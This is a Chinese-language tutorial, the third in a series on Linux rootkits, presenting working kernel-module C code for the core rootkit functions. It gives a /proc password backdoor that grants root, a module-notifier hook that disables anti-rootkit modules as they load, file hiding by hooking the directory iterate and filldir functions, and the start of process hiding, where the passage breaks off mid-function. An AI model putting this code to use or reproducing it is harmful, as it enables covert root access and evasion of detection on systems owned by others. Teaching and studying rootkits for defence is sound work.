Linux Rootkit系列三:例項詳解 Rootkit 必備的基本功能
前言
鑑於筆者知識能力上的不足,如有疏忽,歡迎糾正。
測試建議: 不要在物理機測試!不要在物理機測試! 不要在物理機測試!
概要
在
上一篇文章中筆者詳細地闡述了基於直接修改系統呼叫表 (即
sys_call_table
/ia32_sys_call_table
)的掛鉤, 文章強調以程式碼與動手實驗為核心。
長話短說,本文也將以同樣的理念帶領讀者一一縷清 Rootkit 必備的基本功能,包括提供 root 後門,控制核心模組的載入, 隱藏檔案(提示:這是文章的重點與核心內容),隱藏程序,隱藏網路埠,隱藏核心模組等。
短話長說,本文不打算給大家介紹剩下的幾種不同的系統呼叫掛鉤技術:比如說,修改 32 位系統呼叫( 使用
int $0x80
syscall
)需要使用的MSR (Model-specific
register / 模型特定暫存器,具體講, 64位系統呼叫派遣例程的地址位於
MSR_LSTAR );又比如基於修改系統呼叫派遣例程 (對 64 位系統呼叫而言也就是entry_SYSCALL_64
) 的鉤法; 又或者,內聯掛鉤 /
InlineHooking。
這些鉤法我們以後再談,現在,我們先專心把一種鉤法玩出花樣。上一篇文章講的鉤法,也就是函式指標的替換,並不侷限於鉤系統呼叫。本文會將這種方法應用到其他的函式上。
第一部分:Rootkit 必備的基本功能
站穩,坐好。
1. 提供 root 後門
這個特別好講,筆者就拿提供 root 後門這個功能開刀了。
具體說來,邏輯是這樣子的, 我們的核心模組在/proc 下面建立一個檔案,如果某一個程序向這個檔案寫入特定的內容(讀者可以把這個“特定的內容”理解成口令或者密碼),我們的核心模組就把這個程序的uid 與 euid等等全都設定成 0, 也就是 root 賬號的。這樣,這個程序就擁有了 root許可權。
不妨拿
全志 root 後門這件事來舉個例子,在執行有後門的 Linux 核心的裝置上, 程序只需要向/proc/sunxi_debug/sunxi_debug
rootmydevice
就可以獲得 root許可權。
另外,我們的核心模組建立的那個檔案顯然是要隱藏掉的。考慮到現在還沒講檔案隱藏(本文後面會談檔案隱藏),所以這一小節的實驗並不包括將創建出來的檔案隱藏掉。
下面我們看看怎樣在核心模組裡建立/proc 下面的檔案。
全志 root 後門程式碼裡用到的create_proc_entry
是一個過時了的API,而且在新核心裡面它已經被去掉了。 考慮到筆者暫時還不考慮相容老的核心,所以我們直接用新的API,
proc_create
與
proc_remove
, 分別用於建立與刪除一個/proc 下面的專案。
函式原型如下。
# include <linux/proc_fs.h>
static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
void
proc_remove(struct proc_dir_entry *entry);
proc_create
引數的含義依次為,檔名字,檔案訪問模式,父目錄,檔案操作函式結構體。 我們重點關心第四個引數:struct
file_operations
裡面是一些函式指標,即對檔案的各種操作的處理函式, 比如,讀(
read
)、寫(
write
)。 該結構體的定義位於
linux/fs.h
,後面講檔案隱藏的時候還會遇到它。
建立與刪除一個 /proc檔案的程式碼示例如下。
struct proc_dir_entry *entry;
entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
proc_remove(entry);
實現我們的需求只需要提供一個寫操作(
write
)的處理函式就可以了,如下所示。
ssize_t
write_handler(struct file * filp, const char __user *buff,
size_t count, loff_t *offp);
struct file_operations proc_fops = {
.write = write_handler
};
ssize_t
write_handler(struct file * filp, const char __user *buff,
size_t count, loff_t *offp)
{
char *kbuff;
struct cred* cred;
// 分配記憶體。
kbuff = kmalloc(count, GFP_KERNEL);
if (!kbuff) {
return -ENOMEM;
}
// 複製到核心緩衝區。
if (copy_from_user(kbuff, buff, count)) {
kfree(kbuff);
return -EFAULT;
}
kbuff[count] = (char)0;
if (strlen(kbuff) == strlen(AUTH) &&
strncmp(AUTH, kbuff, count) == 0) {
// 使用者程序寫入的內容是我們的口令或者密碼,
// 把程序的 ``uid`` 與 ``gid`` 等等
// 都設定成 ``root`` 賬號的,將其提權到 ``root``。
fm_alert("%s\n", "Comrade, I will help you.");
cred = (struct cred *)__task_cred(current);
cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
fm_alert("%s\n", "See you!");
} else {
// 密碼錯誤,拒絕提權。
fm_alert("Alien, get out of here: %s.\n", kbuff);
}
kfree(buff);
return count;
}
實驗
編譯並載入我們的核心模組,以
Kali 為例:Kali 預設只有 root 賬號, 我們可以用useradd
<username>
新增一個臨時的非 root 賬號來執行提權指令碼(r00tme.sh
)做演示。 效果參見下圖, 可以看到在提權之前使用者的uid
是 1000,也就是普通使用者,不能讀取
/proc/kcore
; 提權之後,uid 變成了0,也就是超級使用者,可以讀取
/proc/kcore
。
2. 控制核心模組的載入
想象一下,在一個月黑風高的夜晚,邪惡的讀者(誤:善良的讀者)通過某種手段(可能的經典順序是RCE +LPE , Remote CodeExecution / 遠端程式碼執行 + Local Privilege Escalation / 本地特權提升)得到了某臺機器的 root 命令執行; 進而執行 Rootkit 的 Dropper程式釋放並配置好 Rootkit, 讓其進入工作狀態。
這時候,Rootkit 首先應該做的並不是提供 root 後門;而是,一方面,我們應該嘗試把我們進來的門(漏洞)堵上, 避免 其他不良群眾亂入,另一方面,我們希望能控制好其他程式(這個其他程式主要是指反 Rootkit 程式與 其他 不良 Rootkit),使其不載入 其他 不良核心模組與我們在核心態血拼。
理想狀態下,我們的 Rootkit 獨自霸佔核心態, 阻止所有不必要的程式碼(尤其是反 Rootkit 程式與 其他 不良 Rootkit)在核心態執行。當然,理想是艱鉅的,所以我們先做點容易的,控制核心模組的載入。
控制核心模組的載入,我們可以從通知鏈機制下手。通知鏈的詳細工作機制讀者可以檢視參考資料;簡單來講,當某個子系統或者模組發生某個事件時,該子系統主動遍歷某個連結串列,而這個連結串列中記錄著其他子系統或者模組註冊的事件處理函式,通過傳遞恰當的引數呼叫這個處理函式達到事件通知的目的。
具體來說,我們註冊一個模組通知處理函式,在模組完成載入之後、開始初始化之前, 即模組狀態為
MODULE_STATE_COMING
, 將其初始函式掉包成一個什麼也不做的函式。這樣一來,模組不能完成初始化,也就相當於殘廢了。
筆者決定多讀讀程式碼,少講理論,所以我們先簡要分析一下核心模組的載入過程。 相關程式碼位於核心原始碼樹的kernel/module.c
。 我們從
init_module
開始看。
SYSCALL_DEFINE3(init_module, void __user *, umod,
unsigned long, len, const char __user *, uargs)
{
int err;
struct load_info info = { };
// 檢查當前設定是否允許載入核心模組。
err = may_init_module();
if (err)
return err;
pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
umod, len, uargs);
// 複製模組到核心。
err = copy_module_from_user(umod, len, &info);
if (err)
return err;
// 交給 ``load_module`` 進一步處理。
return load_module(&info, uargs, 0);
}
模組載入的主要工作都是
load_module
完成的,這個函式比較長,這裡只貼我們關心的一小段。
static int load_module(struct load_info *info, const char __user *uargs,
int flags)
{
// 這兒省略若干程式碼。
/* Finally it's fully formed, ready to start executing. */
// 模組已經完成載入,可以開始執行了(但是還沒有執行)。
err = complete_formation(mod, info);
if (err)
goto ddebug_cleanup;
// 我們註冊的通知處理函式會在 ``prepare_coming_module`` 的
// 時候被呼叫,完成偷天換日。在下面我們還會分析一下這個函式。
err = prepare_coming_module(mod);
if (err)
goto bug_cleanup;
// 這兒省略若干程式碼。
// 在 ``do_init_module`` 裡面,模組的初始函式會被執行。
// 然而在這個時候,我們早就把他的初始化函式掉包了(/偷笑)。
return do_init_module(mod);
// 這兒省略若干程式碼:錯誤時釋放資源等。
}
static int prepare_coming_module(struct module *mod)
{
int err;
ftrace_module_enable(mod);
err = klp_module_coming(mod);
if (err)
return err;
// 就是這兒!呼叫通知鏈中的通知處理函式。
// ``MODULE_STATE_COMING`` 會原封不動地傳遞給我們的處理函式,
// 我們的處理函式只需處理這個通知。
blocking_notifier_call_chain(&module_notify_list,
MODULE_STATE_COMING, mod);
return 0;
}
說的具體點, 我們註冊的通知鏈處理函式是在
notifier_call_chain
函式裡被呼叫的,呼叫層次為:
blocking_notifier_call_chain
->__blocking_notifier_call_chain
->
notifier_call_chain
。有疑惑的讀者可以細緻地看看這部分程式碼, 位於核心原始碼樹的kernel/notifier.c
。
程式碼分析告一段落,接下來我們看看如何註冊模組通知處理函式。用於描述通知處理函式的結構體是
struct notifier_block
, 定義如下 。
typedef int (*notifier_fn_t)(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block {
notifier_fn_t notifier_call;
struct notifier_block __rcu *next;
int priority;
};
註冊或者登出模組通知處理函式可以使用
register_module_notifier
或者unregister_module_notifier
,函式原型如下。
int
register_module_notifier(struct notifier_block *nb);
int
unregister_module_notifier(struct notifier_block *nb);
編寫一個通知處理函式,然後填充
struct notifier_block
結構體, 最後使用register_module_notifier
註冊就可以了。程式碼片段如下。
int
module_notifier(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block nb = {
.notifier_call = module_notifier,
.priority = INT_MAX
};
上面的程式碼是宣告處理函式並填充所需結構體; 下面是處理函式具體實現。
int
fake_init(void);
void
fake_exit(void);
int
module_notifier(struct notifier_block *nb,
unsigned long action, void *data)
{
struct module *module;
unsigned long flags;
// 定義鎖。
DEFINE_SPINLOCK(module_notifier_spinlock);
module = data;
fm_alert("Processing the module: %s\n", module->name);
//儲存中斷狀態加鎖。
spin_lock_irqsave(&module_notifier_spinlock, flags);
switch (module->state) {
case MODULE_STATE_COMING:
fm_alert("Replacing init and exit functions: %s.\n",
module->name);
// 偷天換日:篡改模組的初始函式與退出函式。
module->init = fake_init;
module->exit = fake_exit;
break;
default:
break;
}
// 恢復中斷狀態解鎖。
spin_unlock_irqrestore(&module_notifier_spinlock, flags);
return NOTIFY_DONE;
}
int
fake_init(void)
{
fm_alert("%s\n", "Fake init.");
return 0;
}
void
fake_exit(void)
{
fm_alert("%s\n", "Fake exit.");
return;
}
實驗
測試時我們還需要構建另外一個簡單的模組(
test
)來測試,從下圖可以看到在載入用於控制模組載入的核心模組(
komonko
) 之前,test
的初始函式與退出函式都正常的執行了; 在載入
komonko
之後,無論是載入
test
還是解除安裝
test
, 它的初始函式與退出函式都沒有執行,執行的是我們掉包後的初始函式與退出函式。
3. 隱藏檔案
說好的重點內容檔案隱藏來了。不過說到檔案隱藏,我們不妨先看看檔案遍歷的實現, 也就是系統呼叫getdents
/
getdents64
,簡略地瀏覽它在核心態服務函式(sys_getdents)的原始碼 (位於fs/readdir.c
),我們可以看到如下呼叫層次,
sys_getdents
->iterate_dir
->
struct file_operations
裡的
iterate
->這兒省略若干層次 ->
struct dir_context
裡的
actor
,也就是filldir
。
filldir
負責把一項記錄(比如說目錄下的一個檔案或者一個子目錄)填到返回的緩衝區裡。如果我們鉤掉
filldir
,並在我們的鉤子函式裡對某些特定的記錄予以直接丟棄,不填到緩衝區裡,上層函式與應用程式就收不到那個記錄,也就不知道那個檔案或者資料夾的存在了,也就實現了檔案隱藏。
具體說來,我們的隱藏邏輯如下: 篡改根目錄(也就是“/”)的
iterate
為我們的假
iterate
, 在假函式裡把
struct dir_context
裡的
actor
替換成我們的 假
filldir
,假
filldir
會把需要隱藏的檔案過濾掉。
下面是假
iterate
與 假
filldir
的實現。
int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
// 備份真的 ``filldir``,以備後面之需。
real_filldir = ctx->actor;
// 把 ``struct dir_context`` 裡的 ``actor``,
// 也就是真的 ``filldir``
// 替換成我們的假 ``filldir``
*(filldir_t *)&ctx->actor = fake_filldir;
return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
// 如果是需要隱藏的檔案,直接返回,不填到緩衝區裡。
fm_alert("Hiding: %s", name);
return 0;
}
/* pr_cont("%s ", name); */
// 如果不是需要隱藏的檔案,
// 交給的真的 ``filldir`` 把這個記錄填到緩衝區裡。
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
鉤某個目錄的
struct file_operations
裡的函式, 筆者寫了一個通用的巨集。
# define set_f_op(op, path, new, old) \
do { \
struct file *filp; \
struct file_operations *f_op; \
\
fm_alert("Opening the path: %s.\n", path); \
filp = filp_open(path, O_RDONLY, 0); \
if (IS_ERR(filp)) { \
fm_alert("Failed to open %s with error %ld.\n", \
path, PTR_ERR(filp)); \
old = NULL; \
} else { \
fm_alert("Succeeded in opening: %s\n", path); \
f_op = (struct file_operations *)filp->f_op; \
old = f_op->op; \
\
fm_alert("Changing iterate from %p to %p.\n", \
old, new); \
disable_write_protection(); \
f_op->op = new; \
enable_write_protection(); \
} \
} while(0)
實驗
實驗時,筆者隨(gu)手(yi)用來隱藏的檔名:
032416_525.mp4
。從下圖我們可以看到,在載入我們的核心模組(
fshidko
)之前,
test
目錄下的
032416_525.mp4
是可以列舉出來的; 但是載入
fshidko
之後就看不到了,並且在
dmesg
的日誌裡, 我們可以看到
fshidko
列印的隱藏了這個檔案的資訊。
選讀內容:相關核心原始碼的簡略分析
SYSCALL_DEFINE3(getdents, unsigned int, fd,
struct linux_dirent __user *, dirent, unsigned int, count)
{
// 這兒省略若干程式碼。
struct getdents_callback buf = {
.ctx.actor = filldir, // 最後的接鍋英雄。
.count = count,
.current_dir = dirent
};
// 這兒省略若干程式碼。
// 跟進 ``iterate_dir``,
// 可以看到它是通過 ``struct file_operations`` 裡
// ``iterate`` 完成任務的。
error = iterate_dir(f.file, &buf.ctx);
// 這兒省略若干程式碼。
return error;
}
int iterate_dir(struct file *file, struct dir_context *ctx)
{
struct inode *inode = file_inode(file);
int res = -ENOTDIR;
// 如果 ``struct file_operations`` 裡的 ``iterate``
// 為 ``NULL``,返回 ``-ENOTDIR`` 。
if (!file->f_op->iterate)
goto out;
// 這兒省略若干程式碼。
res = -ENOENT;
if (!IS_DEADDIR(inode)) {
ctx->pos = file->f_pos;
// ``iterate_dir`` 把鍋甩給了
// ``struct file_operations`` 裡的 ``iterate``,
// 對這個 ``iterate`` 的分析請看下面。
res = file->f_op->iterate(file, ctx);
file->f_pos = ctx->pos;
// 這兒省略若干程式碼。
}
// 這兒省略若干程式碼。
out:
return res;
}
這一層一層的剝開, 我們來到了
struct file_operations
裡面的
iterate
, 這個
iterate
在不同的檔案系統有不同的實現, 下面(位於fs/ext4/dir.c
) 是針對
ext4檔案系統的
struct file_operations
, 我們可以看到ext4 檔案系統的
iterate
是ext4_readdir
。
const struct file_operations ext4_dir_operations = {
.llseek = ext4_dir_llseek,
.read = generic_read_dir,
.iterate = ext4_readdir,
.unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext4_compat_ioctl,
#endif
.fsync = ext4_sync_file,
.open = ext4_dir_open,
.release = ext4_release_dir,
};
ext4_readdir
經過各種各樣的操作之後會通過
filldir
把目錄裡的專案一個一個的填到
getdents
返回的緩衝區裡,緩衝區裡是一個個的
struct linux_dirent
。我們的隱藏方法就是在
filldir
裡把需要隱藏的專案給過濾掉。
4. 隱藏程序
Linux 上純使用者態列舉並獲取程序資訊,/proc 是唯一的去處。所以,對使用者態隱藏程序,我們可以隱藏掉/proc 下面的目錄,這樣使用者態能枚舉出來程序就在我們的控制下了。讀者現在應該些許體會到為什麼檔案隱藏是本文的重點內容了。
我們修改一下上面隱藏檔案時的假
filldir
即可實現程序隱藏, 如下所示。
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
char *endp;